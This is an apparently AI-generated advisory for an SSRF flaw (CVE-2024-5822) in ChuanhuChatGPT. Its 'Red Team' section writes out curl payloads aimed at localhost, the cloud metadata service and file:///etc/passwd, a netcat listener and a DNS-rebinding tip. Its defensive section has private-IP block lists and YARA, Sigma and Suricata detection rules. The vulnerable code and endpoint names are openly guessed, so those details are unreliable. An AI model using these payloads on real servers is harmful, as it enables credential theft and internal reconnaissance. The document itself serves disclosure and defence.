CVE-2024-5822
Executive Summary
CVE-2024-5822 is a Server-Side Request Forgery (SSRF) vulnerability in the upload processing interface of gaizhenbiao/ChuanhuChatGPT, affecting versions up to and including the ChuanhuChatGPT-20240410-git.zip release. This flaw allows an unauthenticated attacker to craft malicious requests that are executed by the vulnerable server, enabling access to internal or external resources that would otherwise be protected. The vulnerability has a CVSS score of 7.3 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for data exfiltration and internal network reconnaissance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Python-based application (ChuanhuChatGPT) that is distributed via GitHub as a zip archive. There is no official package on PyPI or other package managers, but users may install dependencies via requirements.txt. The lack of a patch and the nature of SSRF make this a supply chain risk for any organization using this software, as attackers could leverage the vulnerability to pivot to internal services or cloud metadata endpoints.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The vulnerable component and the affected resource are in the same security authority.
- Confidentiality Impact: High (C:H) – Successful exploitation can lead to disclosure of sensitive internal data.
- Integrity Impact: None (I:N) – No data modification is possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The SSRF can be used to scan internal networks, access cloud metadata (e.g., AWS, GCP), and exfiltrate sensitive data. The lack of a patch increases the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability resides in the upload processing interface of ChuanhuChatGPT. The application likely accepts file uploads or URLs for processing, and the server-side code fetches the resource without proper validation of the target URL. An attacker can supply a URL pointing to internal IP addresses (e.g., http://169.254.169.254/ for cloud metadata) or other internal services, and the server will make the request on behalf of the attacker.
Root Cause: The application does not sanitize or restrict the URL scheme, host, or port in the upload/processing endpoint. This allows an attacker to specify arbitrary URLs, including those to internal networks (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or loopback addresses (127.0.0.1).
Attack Flow:
- Attacker identifies the vulnerable endpoint (e.g.,
/uploador/process). - Attacker sends a POST request with a crafted JSON or form parameter containing a malicious URL (e.g.,
{"url": "http://169.254.169.254/latest/meta-data/"}). - The server fetches the URL and returns the response to the attacker, or the attacker can observe side effects (e.g., timing, error messages).
- Attacker can then pivot to internal services, exfiltrate data, or perform reconnaissance.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like this:
Vulnerable Code (Python/Flask example):
@app.route('/upload', methods=['POST'])
def upload():
url = request.json.get('url')
response = requests.get(url) # No validation
return response.text
Patched Code (Hypothetical):
import re
from urllib.parse import urlparse
ALLOWED_HOSTS = ['example.com', 'api.example.com']
BLOCKED_IPS = ['127.0.0.1', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.169.254']
def is_safe_url(url):
parsed = urlparse(url)
host = parsed.hostname
if host in ALLOWED_HOSTS:
return True
# Check for IP ranges
import ipaddress
try:
ip = ipaddress.ip_address(host)
for blocked in BLOCKED_IPS:
if ip in ipaddress.ip_network(blocked, strict=False):
return False
except ValueError:
pass
return False
@app.route('/upload', methods=['POST'])
def upload():
url = request.json.get('url')
if not is_safe_url(url):
return "Forbidden", 403
response = requests.get(url)
return response.text
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of ChuanhuChatGPT (version <= 20240410) in a Docker container.
- Set up a local listener (e.g.,
nc -lvnp 4444) to capture outbound requests. - Use Burp Suite or curl to craft requests.
Exploitation Steps:
- Identify the upload endpoint (e.g.,
/uploador/process). - Send a POST request with a malicious URL:
curl -X POST http://target:5000/upload \ -H "Content-Type: application/json" \ -d '{"url": "http://127.0.0.1:8080/admin"}' - To access cloud metadata:
curl -X POST http://target:5000/upload \ -H "Content-Type: application/json" \ -d '{"url": "http://169.254.169.254/latest/meta-data/"}' - Use the response to extract sensitive data (e.g., IAM credentials, internal service info).
Advanced Techniques:
- Use DNS rebinding to bypass simple hostname checks.
- Use
file://protocol if supported to read local files:curl -X POST http://target:5000/upload \ -H "Content-Type: application/json" \ -d '{"url": "file:///etc/passwd"}'
Blue Team (Defensive)
Detection:
- Monitor outbound HTTP requests from the application server to unexpected IP ranges (e.g., private IPs, cloud metadata IPs).
- Look for requests to
169.254.169.254or127.0.0.1in server logs. - Use network segmentation to prevent the application from reaching internal resources.
Hunting:
- Search for logs containing
urlparameters with private IP addresses. - Analyze application logs for unusual response sizes or error messages.
Mitigation:
- Apply a Web Application Firewall (WAF) rule to block requests containing private IPs in URL parameters.
- Implement a network proxy that restricts outbound traffic from the application server.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to
169.254.169.254(cloud metadata) - Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Requests to
127.0.0.1orlocalhostfrom the application
- Outbound HTTP requests to
- File IOCs:
- Unexpected files in
/tmp/or application directories (if file:// protocol is used)
- Unexpected files in
- Log IOCs:
- Application logs showing
urlparameter with internal IPs - Error messages like "Connection refused" or "Timeout" for internal IPs
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2024_5822_SSRF_ChuanhuChatGPT {
meta:
description = "Detects SSRF attempts targeting CVE-2024-5822 in ChuanhuChatGPT"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5822"
strings:
$url_param = /"url"\s*:\s*"http:\/\/1(27|69|0|92)\..*/ nocase
$private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
$metadata = "169.254.169.254"
condition:
any of ($url_param, $private_ip, $metadata)
}
Sigma Rule
title: SSRF Attempt Against ChuanhuChatGPT (CVE-2024-5822)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to private IPs or cloud metadata from ChuanhuChatGPT application
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- "169.254.169.254"
- "127.0.0.1"
- "10."
- "172.16."
- "172.17."
- "172.18."
- "172.19."
- "172.20."
- "172.21."
- "172.22."
- "172.23."
- "172.24."
- "172.25."
- "172.26."
- "172.27."
- "172.28."
- "172.29."
- "172.30."
- "172.31."
- "192.168."
condition: selection
falsepositives:
- Legitimate internal monitoring tools
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5822 SSRF Attempt - ChuanhuChatGPT"; flow:to_server; content:"url"; http_client_body; pcre:"/(169\.254\.169\.254|127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required, or restrict access via firewall rules.
- Implement network segmentation to prevent the application server from reaching internal resources.
- Apply a WAF rule to block requests containing private IPs in URL parameters.
Long-term Fix:
- Since no official patch exists, consider forking the repository and implementing input validation as shown in the patched code example.
- Use a URL allowlist or blocklist to restrict allowed targets.
- Disable the
file://protocol if not needed.
Workarounds:
- Use a reverse proxy (e.g., Nginx) to filter outbound requests from the application.
- Monitor application logs for suspicious activity.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.